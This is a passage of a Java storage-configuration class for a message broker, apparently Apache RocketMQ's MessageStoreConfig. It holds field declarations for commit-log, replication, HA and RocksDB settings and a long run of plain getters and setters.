enabledAppendPropCRC = false; private boolean forceVerifyPropCRC = false; private int travelCqFileNumWhenGetMessage = 1; // Sleep interval between to corrections private int correctLogicMinOffsetSleepInterval = 1; // Force correct min offset interval private int correctLogicMinOffsetForceInterval = 5 * 60 * 1000; // swap private boolean mappedFileSwapEnable = true; private long commitLogForceSwapMapInterval = 12L * 60 * 60 * 1000; private long commitLogSwapMapInterval = 1L * 60 * 60 * 1000; private int commitLogSwapMapReserveFileNum = 100; private long logicQueueForceSwapMapInterval = 12L * 60 * 60 * 1000; private long logicQueueSwapMapInterval = 1L * 60 * 60 * 1000; private long cleanSwapedMapInterval = 5L * 60 * 1000; private int logicQueueSwapMapReserveFileNum = 20; private boolean searchBcqByCacheEnable = true; @ImportantField private boolean dispatchFromSenderThread = false; @ImportantField private boolean wakeCommitWhenPutMessage = true; @ImportantField private boolean wakeFlushWhenPutMessage = false; @ImportantField private boolean enableCleanExpiredOffset = false; private int maxAsyncPutMessageRequests = 5000; private int pullBatchMaxMessageCount = 160; @ImportantField private int totalReplicas = 1; /** * Each message must be written successfully to at least in-sync replicas. * The master broker is considered one of the in-sync replicas, and it's included in the count of total. * If a master broker is ASYNC_MASTER, inSyncReplicas will be ignored. * If enableControllerMode is true and ackAckInSyncStateSet is true, inSyncReplicas will be ignored. */ @ImportantField private int inSyncReplicas = 1; /** * Will be worked in auto multiple replicas mode, to provide minimum in-sync replicas. * It is still valid in controller mode. */ @ImportantField private int minInSyncReplicas = 1; /** * Each message must be written successfully to all replicas in SyncStateSet. */ @ImportantField private boolean allAckInSyncStateSet = false; /** * Dynamically adjust in-sync replicas to provide higher availability, the real time in-sync replicas * will smaller than inSyncReplicas config. */ @ImportantField private boolean enableAutoInSyncReplicas = false; /** * Enable or not ha flow control */ @ImportantField private boolean haFlowControlEnable = false; /** * The max speed for one slave when transfer data in ha */ private long maxHaTransferByteInSecond = 100 * 1024 * 1024; /** * The max gap time that slave doesn't catch up to master. */ private long haMaxTimeSlaveNotCatchup = 1000 * 15; /** * Sync flush offset from master when broker startup, used in upgrading from old version broker. */ private boolean syncMasterFlushOffsetWhenStartup = false; /** * Max checksum range. */ private long maxChecksumRange = 1024 * 1024 * 1024; private int replicasPerDiskPartition = 1; private double logicalDiskSpaceCleanForciblyThreshold = 0.8; private long maxSlaveResendLength = 256 * 1024 * 1024; /** * Whether sync from lastFile when a new broker replicas(no data) join the master. */ private boolean syncFromLastFile = false; private boolean asyncLearner = false; /** * Number of records to scan before starting to estimate. */ private int maxConsumeQueueScan = 20_000; /** * Number of matched records before starting to estimate. */ private int sampleCountThreshold = 5000; private boolean coldDataFlowControlEnable = false; private boolean coldDataScanEnable = false; private boolean dataReadAheadEnable = true; private int timerColdDataCheckIntervalMs = 60 * 1000; private int sampleSteps = 32; private int accessMessageInMemoryHotRatio = 26; /** * Build ConsumeQueue concurrently with multi-thread */ private boolean enableBuildConsumeQueueConcurrently = false; private int batchDispatchRequestThreadPoolNums = 16; // rocksdb mode private long cleanRocksDBDirtyCQIntervalMin = 60; private long statRocksDBCQIntervalSec = 10; private long memTableFlushIntervalMs = 60 * 60 * 1000L; private boolean realTimePersistRocksDBConfig = true; private boolean enableRocksDBLog = false; private int topicQueueLockNum = 32; public boolean isEnabledAppendPropCRC() { return enabledAppendPropCRC; } public void setEnabledAppendPropCRC(boolean enabledAppendPropCRC) { this.enabledAppendPropCRC = enabledAppendPropCRC; } public boolean isDebugLockEnable() { return debugLockEnable; } public void setDebugLockEnable(final boolean debugLockEnable) { this.debugLockEnable = debugLockEnable; } public boolean isDuplicationEnable() { return duplicationEnable; } public void setDuplicationEnable(final boolean duplicationEnable) { this.duplicationEnable = duplicationEnable; } public long getOsPageCacheBusyTimeOutMills() { return osPageCacheBusyTimeOutMills; } public void setOsPageCacheBusyTimeOutMills(final long osPageCacheBusyTimeOutMills) { this.osPageCacheBusyTimeOutMills = osPageCacheBusyTimeOutMills; } public boolean isDiskFallRecorded() { return diskFallRecorded; } public void setDiskFallRecorded(final boolean diskFallRecorded) { this.diskFallRecorded = diskFallRecorded; } public boolean isWarmMapedFileEnable() { return warmMapedFileEnable; } public void setWarmMapedFileEnable(boolean warmMapedFileEnable) { this.warmMapedFileEnable = warmMapedFileEnable; } public int getCompactionMappedFileSize() { return compactionMappedFileSize; } public int getCompactionCqMappedFileSize() { return compactionCqMappedFileSize; } public void setCompactionMappedFileSize(int compactionMappedFileSize) { this.compactionMappedFileSize = compactionMappedFileSize; } public void setCompactionCqMappedFileSize(int compactionCqMappedFileSize) { this.compactionCqMappedFileSize = compactionCqMappedFileSize; } public int getCompactionScheduleInternal() { return compactionScheduleInternal; } public void setCompactionScheduleInternal(int compactionScheduleInternal) { this.compactionScheduleInternal = compactionScheduleInternal; } public int getMaxOffsetMapSize() { return maxOffsetMapSize; } public void setMaxOffsetMapSize(int maxOffsetMapSize) { this.maxOffsetMapSize = maxOffsetMapSize; } public int getCompactionThreadNum() { return compactionThreadNum; } public void setCompactionThreadNum(int compactionThreadNum) { this.compactionThreadNum = compactionThreadNum; } public boolean isEnableCompaction() { return enableCompaction; } public void setEnableCompaction(boolean enableCompaction) { this.enableCompaction = enableCompaction; } public int getMappedFileSizeCommitLog() { return mappedFileSizeCommitLog; } public void setMappedFileSizeCommitLog(int mappedFileSizeCommitLog) { this.mappedFileSizeCommitLog = mappedFileSizeCommitLog; } public boolean isEnableRocksDBStore() { return StoreType.DEFAULT_ROCKSDB.getStoreType().equalsIgnoreCase(this.storeType); } public String getStoreType() { return storeType; } public void setStoreType(String storeType) { this.storeType = storeType; } public int getMappedFileSizeConsumeQueue() { int factor = (int) Math.ceil(this.mappedFileSizeConsumeQueue / (ConsumeQueue.CQ_STORE_UNIT_SIZE * 1.0)); return (int) (factor * ConsumeQueue.CQ_STORE_UNIT_SIZE); } public void setMappedFileSizeConsumeQueue(int mappedFileSizeConsumeQueue) { this.mappedFileSizeConsumeQueue = mappedFileSizeConsumeQueue; } public boolean isEnableConsumeQueueExt() { return enableConsumeQueueExt; } public void setEnableConsumeQueueExt(boolean enableConsumeQueueExt) { this.enableConsumeQueueExt = enableConsumeQueueExt; } public int getMappedFileSizeConsumeQueueExt() { return mappedFileSizeConsumeQueueExt; } public void setMappedFileSizeConsumeQueueExt(int mappedFileSizeConsumeQueueExt) { this.mappedFileSizeConsumeQueueExt = mappedFileSizeConsumeQueueExt; } public int getBitMapLengthConsumeQueueExt() { return bitMapLengthConsumeQueueExt; } public void setBitMapLengthConsumeQueueExt(int bitMapLengthConsumeQueueExt) { this.bitMapLengthConsumeQueueExt = bitMapLengthConsumeQueueExt; } public int getFlushIntervalCommitLog() { return flushIntervalCommitLog; } public void setFlushIntervalCommitLog(int flushIntervalCommitLog) { this.flushIntervalCommitLog = flushIntervalCommitLog; } public int getFlushIntervalConsumeQueue() { return flushIntervalConsumeQueue; } public void setFlushIntervalConsumeQueue(int flushIntervalConsumeQueue) { this.flushIntervalConsumeQueue = flushIntervalConsumeQueue; } public int getPutMsgIndexHightWater() { return putMsgIndexHightWater; } public void setPutMsgIndexHightWater(int putMsgIndexHightWater) { this.putMsgIndexHightWater = putMsgIndexHightWater; } public int getCleanResourceInterval() { return cleanResourceInterval; } public void setCleanResourceInterval(int cleanResourceInterval) { this.cleanResourceInterval = cleanResourceInterval; } public int getMaxMessageSize() { return maxMessageSize; } public void setMaxMessageSize(int maxMessageSize) { this.maxMessageSize = maxMessageSize; } public int getMaxFilterMessageSize() { return maxFilterMessageSize; } public void setMaxFilterMessageSize(int maxFilterMessageSize) { this.maxFilterMessageSize = maxFilterMessageSize; } @Deprecated public int getMaxTopicLength() { return maxTopicLength; } @Deprecated public void setMaxTopicLength(int maxTopicLength) { this.maxTopicLength = maxTopicLength; } public boolean isAutoMessageVersionOnTopicLen() { return autoMessageVersionOnTopicLen; } public void setAutoMessageVersionOnTopicLen(boolean autoMessageVersionOnTopicLen) { this.autoMessageVersionOnTopicLen = autoMessageVersionOnTopicLen; } public int getTravelCqFileNumWhenGetMessage() { return travelCqFileNumWhenGetMessage; } public void setTravelCqFileNumWhenGetMessage(int travelCqFileNumWhenGetMessage) { this.travelCqFileNumWhenGetMessage = travelCqFileNumWhenGetMessage; } public int getCorrectLogicMinOffsetSleepInterval() { return correctLogicMinOffsetSleepInterval; } public void setCorrectLogicMinOffsetSleepInterval(int correctLogicMinOffsetSleepInterval) { this.correctLogicMinOffsetSleepInterval = correctLogicMinOffsetSleepInterval; } public int getCorrectLogicMinOffsetForceInterval() { return correctLogicMinOffsetForceInterval; } public void setCorrectLogicMinOffsetForceInterval(int correctLogicMinOffsetForceInterval) { this.correctLogicMinOffsetForceInterval = correctLogicMinOffsetForceInterval; } public boolean isCheckCRCOnRecover() { return checkCRCOnRecover; } public boolean getCheckCRCOnRecover() { return checkCRCOnRecover; } public void setCheckCRCOnRecover(boolean checkCRCOnRecover) { this.checkCRCOnRecover = checkCRCOnRecover; } public boolean isForceVerifyPropCRC() { return forceVerifyPropCRC; } public void setForceVerifyPropCRC(boolean forceVerifyPropCRC) { this.forceVerifyPropCRC = forceVerifyPropCRC; } public String getStorePathCommitLog() { if (storePathCommitLog == null) { return storePathRootDir + File.separator + "commitlog"; } return storePathCommitLog; } public void setStorePathCommitLog(String storePathCommitLog) { this.storePathCommitLog = storePathCommitLog; } public String getStorePathDLedgerCommitLog() { return storePathDLedgerCommitLog; } public void setStorePathDLedgerCommitLog(String storePathDLedgerCommitLog) { this.storePathDLedgerCommitLog = storePathDLedgerCommitLog; } public String getStorePathEpochFile() { if (storePathEpochFile == null) { return storePathRootDir + File.separator + "epochFileCheckpoint"; } return storePathEpochFile; } public void setStorePathEpochFile(String storePathEpochFile) { this.storePathEpochFile = storePathEpochFile; } public String getStorePathBrokerIdentity() { if (storePathBrokerIdentity == null) { return storePathRootDir + File.separator + "brokerIdentity"; } return storePathBrokerIdentity; } public void setStorePathBrokerIdentity(String storePathBrokerIdentity) { this.storePathBrokerIdentity = storePathBrokerIdentity; } public String getDeleteWhen() { return deleteWhen; } public void setDeleteWhen(String deleteWhen) { this.deleteWhen = deleteWhen; } public int getDiskMaxUsedSpaceRatio() { if (this.diskMaxUsedSpaceRatio < 10) return 10; if (this.diskMaxUsedSpaceRatio > 95) return 95; return diskMaxUsedSpaceRatio; } public void setDiskMaxUsedSpaceRatio(int diskMaxUsedSpaceRatio) { this.diskMaxUsedSpaceRatio = diskMaxUsedSpaceRatio; } public int getDeleteCommitLogFilesInterval() { return deleteCommitLogFilesInterval; } public void setDeleteCommitLogFilesInterval(int deleteCommitLogFilesInterval) { this.deleteCommitLogFilesInterval = deleteCommitLogFilesInterval; } public int getDeleteConsumeQueueFilesInterval() { return deleteConsumeQueueFilesInterval; } public void setDeleteConsumeQueueFilesInterval(int deleteConsumeQueueFilesInterval) { this.deleteConsumeQueueFilesInterval = deleteConsumeQueueFilesInterval; } public int getMaxTransferBytesOnMessageInMemory() { return maxTransferBytesOnMessageInMemory; } public void setMaxTransferBytesOnMessageInMemory(int maxTransferBytesOnMessageInMemory) { this.maxTransferBytesOnMessageInMemory = maxTransferBytesOnMessageInMemory; } public int getMaxTransferCountOnMessageInMemory() { return maxTransferCountOnMessageInMemory; } public void setMaxTransferCountOnMessageInMemory(int maxTransferCountOnMessageInMemory) { this.maxTransferCountOnMessageInMemory = maxTransferCountOnMessageInMemory; } public int getMaxTransferBytesOnMessageInDisk() { return maxTransferBytesOnMessageInDisk; } public void setMaxTransferBytesOnMessageInDisk(int maxTransferBytesOnMessageInDisk) { this.maxTransferBytesOnMessageInDisk = maxTransferBytesOnMessageInDisk; } public int getMaxTransferCountOnMessageInDisk() { return maxTransferCountOnMessageInDisk; } public void setMaxTransferCountOnMessageInDisk(int maxTransferCountOnMessageInDisk) { this.maxTransferCountOnMessageInDisk = maxTransferCountOnMessageInDisk; } public int getFlushCommitLogLeastPages() { return flushCommitLogLeastPages; } public void setFlushCommitLogLeastPages(int flushCommitLogLeastPages) { this.flushCommitLogLeastPages = flushCommitLogLeastPages; } public int getFlushConsumeQueueLeastPages() { return flushConsumeQueueLeastPages; } public void setFlushConsumeQueueLeastPages(int flushConsumeQueueLeastPages) { this.flushConsumeQueueLeastPages = flushConsumeQueueLeastPages; } public int getFlushCommitLogThoroughInterval() { return flushCommitLogThoroughInterval; } public void setFlushCommitLogThoroughInterval(int flushCommitLogThoroughInterval) { this.flushCommitLogThoroughInterval = flushCommitLogThoroughInterval; } public int getFlushConsumeQueueThoroughInterval() { return flushConsumeQueueThoroughInterval; } public void setFlushConsumeQueueThoroughInterval(int flushConsumeQueueThoroughInterval) { this.flushConsumeQueueThoroughInterval = flushConsumeQueueThoroughInterval; } public int getDestroyMapedFileIntervalForcibly() { return destroyMapedFileIntervalForcibly; } public void setDestroyMapedFileIntervalForcibly(int destroyMapedFileIntervalForcibly) { this.destroyMapedFileIntervalForcibly = destroyMapedFileIntervalForcibly; } public int getFileReservedTime() { return fileReservedTime; } public void setFileReservedTime(int fileReservedTime) { this.fileReservedTime = fileReservedTime; } public int getRedeleteHangedFileInterval() { return redeleteHangedFileInterval; } public void setRedeleteHangedFileInterval(int redeleteHangedFileInterval) { this.redeleteHangedFileInterval = redeleteHangedFileInterval; } public int getAccessMessageInMemoryMaxRatio() { return accessMessageInMemoryMaxRatio; } public void setAccessMessageInMemoryMaxRatio(int accessMessageInMemoryMaxRatio) { this.accessMessageInMemoryMaxRatio = accessMessageInMemoryMaxRatio; } public boolean isMessageIndexEnable() { return messageIndexEnable; } public void setMessageIndexEnable(boolean messageIndexEnable) { this.messageIndexEnable = messageIndexEnable; } public int getMaxHashSlotNum() { return maxHashSlotNum; } public void setMaxHashSlotNum(int maxHashSlotNum) { this.maxHashSlotNum = maxHashSlotNum; } public int getMaxIndexNum() { return maxIndexNum; } public void setMaxIndexNum(int maxIndexNum) { this.maxIndexNum = maxIndexNum; } public int getMaxMsgsNumBatch() { return maxMsgsNumBatch; } public void setMaxMsgsNumBatch(int maxMsgsNumBatch) { this.maxMsgsNumBatch = maxMsgsNumBatch; } public int getHaListenPort() { return haListenPort; } public void setHaListenPort(int haListenPort) { if (haListenPort < 0) { this.haListenPort = 0; return; } this.haListenPort = haListenPort; } public int getHaSendHeartbeatInterval() { return haSendHeartbeatInterval; } public void setHaSendHeartbeatInterval(int haSendHeartbeatInterval) { this.haSendHeartbeatInterval = haSendHeartbeatInterval; } public int getHaHousekeepingInterval() { return haHousekeepingInterval; } public void setHaHousekeepingInterval(int haHousekeepingInterval) { this.haHousekeepingInterval = haHousekeepingInterval; } public BrokerRole getBrokerRole() { return brokerRole; } public void setBrokerRole(BrokerRole brokerRole) { this.brokerRole = brokerRole; } public void setBrokerRole(String brokerRole) { this.brokerRole = BrokerRole.valueOf(brokerRole); } public int getHaTransferBatchSize() { return haTransferBatchSize; } public void setHaTransferBatchSize(int haTransferBatchSize) { this.haTransferBatchSize = haTransferBatchSize; } public int getHaMaxGapNotInSync() { return haMaxGapNotInSync; } public void setHaMaxGapNotInSync(int haMaxGapNotInSync) { this.haMaxGapNotInSync = haMaxGapNotInSync; } public FlushDiskType getFlushDiskType() { return flushDiskType; } public void setFlushDiskType(FlushDiskType flushDiskType) { this.flushDiskType = flushDiskType; } public void setFlushDiskType(String type) { this.flushDiskType = FlushDiskType.valueOf(type); } public int getSyncFlushTimeout() { return syncFlushTimeout; } public void setSyncFlushTimeout(int syncFlushTimeout) { this.syncFlushTimeout = syncFlushTimeout; } public int getPutMessageTimeout() { return putMessageTimeout; } public void setPutMessageTimeout(int putMessageTimeout) { this.putMessageTimeout = putMessageTimeout; } public int getSlaveTimeout() { return slaveTimeout; } public void setSlaveTimeout(int slaveTimeout) { this.slaveTimeout = slaveTimeout; } public String getHaMasterAddress() { return haMasterAddress; } public void setHaMasterAddress(String haMasterAddress) { this.haMasterAddress = haMasterAddress; } public String getMessageDelayLevel() { return messageDelayLevel; } public void setMessageDelayLevel(String messageDelayLevel) { this.messageDelayLevel = messageDelayLevel; } public long getFlushDelayOffsetInterval() { return flushDelayOffsetInterval; } public void setFlushDelayOffsetInterval(long flushDelayOffsetInterval) { this.flushDelayOffsetInterval = flushDelayOffsetInterval; } public boolean isCleanFileForciblyEnable() { return cleanFileForciblyEnable; } public void setCleanFileForciblyEnable(boolean cleanFileForciblyEnable) { this.cleanFileForciblyEnable = cleanFileForciblyEnable; } public boolean isMessageIndexSafe() { return messageIndexSafe; } public void setMessageIndexSafe(boolean messageIndexSafe) { this.messageIndexSafe = messageIndexSafe; } public boolean isFlushCommitLogTimed() { return flushCommitLogTimed; } public void setFlushCommitLogTimed(boolean flushCommitLogTimed) { this.flushCommitLogTimed = flushCommitLogTimed; } public String getStorePathRootDir() { return storePathRootDir; } public void setStorePathRootDir(String storePathRootDir) { this.storePathRootDir = storePathRootDir; } public int getFlushLeastPagesWhenWarmMapedFile() { return flushLeastPagesWhenWarmMapedFile; } public void setFlushLeastPagesWhenWarmMapedFile(int flushLeastPagesWhenWarmMapedFile) { this.flushLeastPagesWhenWarmMapedFile = flushLeastPagesWhenWarmMapedFile; } public boolean isOffsetCheckInSlave() { return offsetCheckInSlave; } public void setOffsetCheckInSlave(boolean offsetCheckInSlave) { this.offsetCheckInSlave = offsetCheckInSlave; } public int getDefaultQueryMaxNum() { return defaultQueryMaxNum; } public void setDefaultQueryMaxNum(int defaultQueryMaxNum) { this.defaultQueryMaxNum = defaultQueryMaxNum; } public boolean isTransientStorePoolEnable() { return transientStorePoolEnable; } public void setTransientStorePoolEnable(final boolean transientStorePoolEnable) { this.transientStorePoolEnable = transientStorePoolEnable; } public int getTransientStorePoolSize() { return transientStorePoolSize; } public void setTransientStorePoolSize(final int transientStorePoolSize) { this.transientStorePoolSize = transientStorePoolSize; } public int getCommitIntervalCommitLog() { return commitIntervalCommitLog; } public void setCommitIntervalCommitLog(final int commitIntervalCommitLog) { this.commitIntervalCommitLog = commitIntervalCommitLog; } public boolean isFastFailIfNoBufferInStorePool() { return fastFailIfNoBufferInStorePool; } public void setFastFailIfNoBufferInStorePool(final boolean fastFailIfNoBufferInStorePool) { this.fastFailIfNoBufferInStorePool = fastFailIfNoBufferInStorePool; } public boolean isUseReentrantLockWhenPutMessage() { return useReentrantLockWhenPutMessage; } public void setUseReentrantLockWhenPutMessage(final boolean useReentrantLockWhenPutMessage) { this.useReentrantLockWhenPutMessage = useReentrantLockWhenPutMessage; } public int getCommitCommitLogLeastPages() { return commitCommitLogLeastPages; } public void setCommitCommitLogLeastPages(final int commitCommitLogLeastPages) { this.commitCommitLogLeastPages = commitCommitLogLeastPages; } public int getCommitCommitLogThoroughInterval() { return commitCommitLogThoroughInterval; } public void setCommitCommitLogThoroughInterval(final int commitCommitLogThoroughInterval) { this.commitCommitLogThoroughInterval = commitCommitLogThoroughInterval; } public boolean isWakeCommitWhenPutMessage() { return wakeCommitWhenPutMessage; } public void setWakeCommitWhenPutMessage(boolean wakeCommitWhenPutMessage) { this.wakeCommitWhenPutMessage = wakeCommitWhenPutMessage; } public boolean isWakeFlushWhenPutMessage() { return wakeFlushWhenPutMessage; } public void setWakeFlushWhenPutMessage(boolean wakeFlushWhenPutMessage) { this.wakeFlushWhenPutMessage = wakeFlushWhenPutMessage; } public int getMapperFileSizeBatchConsumeQueue() { return mapperFileSizeBatchConsumeQueue; } public void setMapperFileSizeBatchConsumeQueue(int mapperFileSizeBatchConsumeQueue) { this.mapperFileSizeBatchConsumeQueue = mapperFileSizeBatchConsumeQueue; } public boolean isEnableCleanExpiredOffset() { return enableCleanExpiredOffset; } public void setEnableCleanExpiredOffset(boolean enableCleanExpiredOffset) { this.enableCleanExpiredOffset = enableCleanExpiredOffset; } public String getReadOnlyCommitLogStorePaths() { return readOnlyCommitLogStorePaths; } public void setReadOnlyCommitLogStorePaths(String readOnlyCommitLogStorePaths) { this.readOnlyCommitLogStorePaths = readOnlyCommitLogStorePaths; } public String getdLegerGroup() { return dLegerGroup; } public void setdLegerGroup(String dLegerGroup) { this.dLegerGroup = dLegerGroup; } public String getdLegerPeers() { return dLegerPeers; } public void setdLegerPeers(String dLegerPeers) { this.dLegerPeers = dLegerPeers; } public String getdLegerSelfId() { return dLegerSelfId; } public void setdLegerSelfId(String dLegerSelfId) { this.dLegerSelfId = dLegerSelfId; } public boolean isEnableDLegerCommitLog() { return enableDLegerCommitLog; } public void setEnableDLegerCommitLog(boolean enableDLegerCommitLog) { this.enableDLegerCommitLog = enableDLegerCommitLog; } public String getPreferredLeaderId() { return preferredLeaderId; } public void setPreferredLeaderId(String preferredLeaderId) { this.preferredLeaderId = preferredLeaderId; } public boolean isEnableBatchPush() { return enableBatchPush; } public void setEnableBatchPush(boolean enableBatchPush) { this.enableBatchPush = enableBatchPush; } public boolean isEnableScheduleMessageStats() { return enableScheduleMessageStats; } public void setEnableScheduleMessageStats(boolean enableScheduleMessageStats) { this.enableScheduleMessageStats = enableScheduleMessageStats; } public int getMaxAsyncPutMessageRequests() { return maxAsyncPutMessageRequests; } public void setMaxAsyncPutMessageRequests(int maxAsyncPutMessageRequests) { this.maxAsyncPutMessageRequests = maxAsyncPutMessageRequests; } public int getMaxRecoveryCommitlogFiles() { return maxRecoveryCommitlogFiles; } public void setMaxRecoveryCommitlogFiles(final int maxRecoveryCommitlogFiles) { this.maxRecoveryCommitlogFiles = maxRecoveryCommitlogFiles; } public boolean isDispatchFromSenderThread() { return dispatchFromSenderThread; } public void setDispatchFromSenderThread(boolean dispatchFromSenderThread) { this.dispatchFromSenderThread = dispatchFromSenderThread; } public int getDispatchCqThreads() { return dispatchCqThreads; } public void setDispatchCqThreads(final int dispatchCqThreads) { this.dispatchCqThreads = dispatchCqThreads; } public int getDispatchCqCacheNum() { return dispatchCqCacheNum; } public void setDispatchCqCacheNum(final int dispatchCqCacheNum) { this.dispatchCqCacheNum = dispatchCqCacheNum; } public boolean isEnableAsyncReput() { return enableAsyncReput; } public void setEnableAsyncReput(final boolean enableAsyncReput) { this.enableAsyncReput = enableAsyncReput; } public boolean isRecheckReputOffsetFromCq() { return recheckReputOffsetFromCq; } public void setRecheckReputOffsetFromCq(final boolean recheckReputOffsetFromCq) { this.recheckReputOffsetFromCq = recheckReputOffsetFromCq; } public long getCommitLogForceSwapMapInterval() { return commitLogForceSwapMapInterval; } public void setCommitLogForceSwapMapInterval(long commitLogForceSwapMapInterval) { this.commitLogForceSwapMapInterval = commitLogForceSwapMapInterval; } public int getCommitLogSwapMapReserveFileNum() { return commitLogSwapMapReserveFileNum; } public void setCommitLogSwapMapReserveFileNum(int commitLogSwapMapReserveFileNum) { this.commitLogSwapMapReserveFileNum = commitLogSwapMapReserveFileNum; } public long getLogicQueueForceSwapMapInterval() { return logicQueueForceSwapMapInterval; } public void setLogicQueueForceSwapMapInterval(long logicQueueForceSwapMapInterval) { this.logicQueueForceSwapMapInterval = logicQueueForceSwapMapInterval; } public int getLogicQueueSwapMapReserveFileNum() { return logicQueueSwapMapReserveFileNum; } public void setLogicQueueSwapMapReserveFileNum(int logicQueueSwapMapReserveFileNum) { this.logicQueueSwapMapReserveFileNum = logicQueueSwapMapReserveFileNum; } public long getCleanSwapedMapInterval() { return cleanSwapedMapInterval; } public void setCleanSwapedMapInterval(long cleanSwapedMapInterval) { this.cleanSwapedMapInterval = cleanSwapedMapInterval; } public long getCommitLogSwapMapInterval() { return commitLogSwapMapInterval; } public void setCommitLogSwapMapInterval(long commitLogSwapMapInterval) { this.commitLogSwapMapInterval = commitLogSwapMapInterval; } public long getLogicQueueSwapMapInterval() { return logicQueueSwapMapInterval; } public void setLogicQueueSwapMapInterval(long logicQueueSwapMapInterval) { this.logicQueueSwapMapInterval = logicQueueSwapMapInterval; } public int getMaxBatchDeleteFilesNum() { return maxBatchDeleteFilesNum; } public void setMaxBatchDeleteFilesNum(int maxBatchDeleteFilesNum) { this.maxBatchDeleteFilesNum = maxBatchDeleteFilesNum; } public boolean isSearchBcqByCacheEnable() { return searchBcqByCacheEnable; } public void setSearchBcqByCacheEnable(boolean searchBcqByCacheEnable) { this.searchBcqByCacheEnable = searchBcqByCacheEnable; } public int getDiskSpaceWarningLevelRatio() { return diskSpaceWarningLevelRatio; } public void setDiskSpaceWarningLevelRatio(int diskSpaceWarningLevelRatio) { this.diskSpaceWarningLevelRatio = diskSpaceWarningLevelRatio; } public int getDiskSpaceCleanForciblyRatio() { return diskSpaceCleanForciblyRatio; } public void setDiskSpaceCleanForciblyRatio(int diskSpaceCleanForciblyRatio) { this.diskSpaceCleanForciblyRatio = diskSpaceCleanForciblyRatio; } public boolean isMappedFileSwapEnable() { return mappedFileSwapEnable; } public void setMappedFileSwapEnable(boolean mappedFileSwapEnable) { this.mappedFileSwapEnable = mappedFileSwapEnable; } public int getPullBatchMaxMessageCount() { return pullBatchMaxMessageCount; } public void setPullBatchMaxMessageCount(int pullBatchMaxMessageCount) { this.pullBatchMaxMessageCount = pullBatchMaxMessageCount; } public int getDeleteFileBatchMax() { return deleteFileBatchMax; } public void setDeleteFileBatchMax(int deleteFileBatchMax) { this.deleteFileBatchMax = deleteFileBatchMax; } public int getTotalReplicas() { return totalReplicas; } public void setTotalReplicas(int totalReplicas) { this.totalReplicas = totalReplicas; } public int getInSyncReplicas() { return inSyncReplicas; } public void setInSyncReplicas(int inSyncReplicas) { this.inSyncReplicas = inSyncReplicas; } public int getMinInSyncReplicas() { return minInSyncReplicas; } public void setMinInSyncReplicas(int minInSyncReplicas) { this.minInSyncReplicas = minInSyncReplicas; } public boolean isAllAckInSyncStateSet() { return allAckInSyncStateSet; } public void setAllAckInSyncStateSet(boolean allAckInSyncStateSet) { this.allAckInSyncStateSet = allAckInSyncStateSet; } public boolean isEnableAutoInSyncReplicas() { return enableAutoInSyncReplicas; } public void setEnableAutoInSyncReplicas(boolean enableAutoInSyncReplicas) { this.enableAutoInSyncReplicas = enableAutoInSyncReplicas; } public boolean isHaFlowControlEnable() { return haFlowControlEnable; } public void setHaFlowControlEnable(boolean haFlowControlEnable) { this.haFlowControlEnable = haFlowControlEnable; } public long getMaxHaTransferByteInSecond() { return maxHaTransferByteInSecond; } public void setMaxHaTransferByteInSecond(long maxHaTransferByteInSecond) { this.maxHaTransferByteInSecond = maxHaTransferByteInSecond; } public long getHaMaxTimeSlaveNotCatchup() { return haMaxTimeSlaveNotCatchup; } public void setHaMaxTimeSlaveNotCatchup(long haMaxTimeSlaveNotCatchup) { this.haMaxTimeSlaveNotCatchup = haMaxTimeSlaveNotCatchup; } public boolean isSyncMasterFlushOffsetWhenStartup() { return syncMasterFlushOffsetWhenStartup; } public void setSyncMasterFlushOffsetWhenStartup(boolean syncMasterFlushOffsetWhenStartup) { this.syncMasterFlushOffsetWhenStartup = syncMasterFlushOffsetWhenStartup; } public long getMaxChecksumRange() { return maxChecksumRange; } public void setMaxChecksumRange(long maxChecksumRange) { this.maxChecksumRange = maxChecksumRange; } public int getReplicasPerDiskPartition() { return replicasPerDiskPartition; } public void setReplicasPerDiskPartition(int replicasPerDiskPartition) { this.replicasPerDiskPartition = replicasPerDiskPartition; } public double getLogicalDiskSpaceCleanForciblyThreshold() { return logicalDiskSpaceCleanForciblyThreshold; } public void setLogicalDiskSpaceCleanForciblyThreshold(double logicalDiskSpaceCleanForciblyThreshold) { this.logicalDiskSpaceCleanForciblyThreshold = logicalDiskSpaceCleanForciblyThreshold; } public int getDisappearTimeAfterStart() { return disappearTimeAfterStart; } public void setDisappearTimeAfterStart(int disappearTimeAfterStart) { this.disappearTimeAfterStart = disappearTimeAfterStart; } public long getMaxSlaveResendLength() { return maxSlaveResendLength; } public void setMaxSlaveResendLength(long maxSlaveResendLength) { this.maxSlaveResendLength = maxSlaveResendLength; } public boolean isSyncFromLastFile() { return syncFromLastFile; } public void setSyncFromLastFile(boolean syncFromLastFile) { this.syncFromLastFile = syncFromLastFile; } public boolean isEnableLmq() { return enableLmq; } public void setEnableLmq(boolean enableLmq) { this.enableLmq = enableLmq; } public boolean isEnableMultiDispatch() { return enableMultiDispatch; } public void setEnableMultiDispatch(boolean enableMultiDispatch) { this.enableMultiDispatch = enableMultiDispatch; } public int getMaxLmqConsumeQueueNum() { return maxLmqConsumeQueueNum; } public void setMaxLmqConsumeQueueNum(int maxLmqConsumeQueueNum) { this.maxLmqConsumeQueueNum = maxLmqConsumeQueueNum; } public boolean isEnableScheduleAsyncDeliver() { return enableScheduleAsyncDeliver; } public void setEnableScheduleAsyncDeliver(boolean enableScheduleAsyncDeliver) { this.enableScheduleAsyncDeliver = enableScheduleAsyncDeliver; } public int getScheduleAsyncDeliverMaxPendingLimit() { return scheduleAsyncDeliverMaxPendingLimit; } public void setScheduleAsyncDeliverMaxPendingLimit(int scheduleAsyncDeliverMaxPendingLimit) { this.scheduleAsyncDeliverMaxPendingLimit = scheduleAsyncDeliverMaxPendingLimit; } public int getScheduleAsyncDeliverMaxResendNum2Blocked() { return scheduleAsyncDeliverMaxResendNum2Blocked; } public void setScheduleAsyncDeliverMaxResendNum2Blocked(int scheduleAsyncDeliverMaxResendNum2Blocked) { this.scheduleAsyncDeliverMaxResendNum2Blocked = scheduleAsyncDeliverMaxResendNum2Blocked; } public boolean isAsyncLearner() { return asyncLearner; } public void setAsyncLearner(boolean asyncLearner) { this.asyncLearner = asyncLearner; } public int getMappedFileSizeTimerLog() { return mappedFileSizeTimerLog; } public void setMappedFileSizeTimerLog(final int mappedFileSizeTimerLog) { this.mappedFileSizeTimerLog = mappedFileSizeTimerLog; } public int getTimerPrecisionMs() { return timerPrecisionMs; } public void setTimerPrecisionMs(int timerPrecisionMs) { int[] candidates = {100, 200, 500, 1000}; for (int i = 1; i < candidates.length; i++) { if (timerPrecisionMs < candidates[i]) { this.timerPrecisionMs = 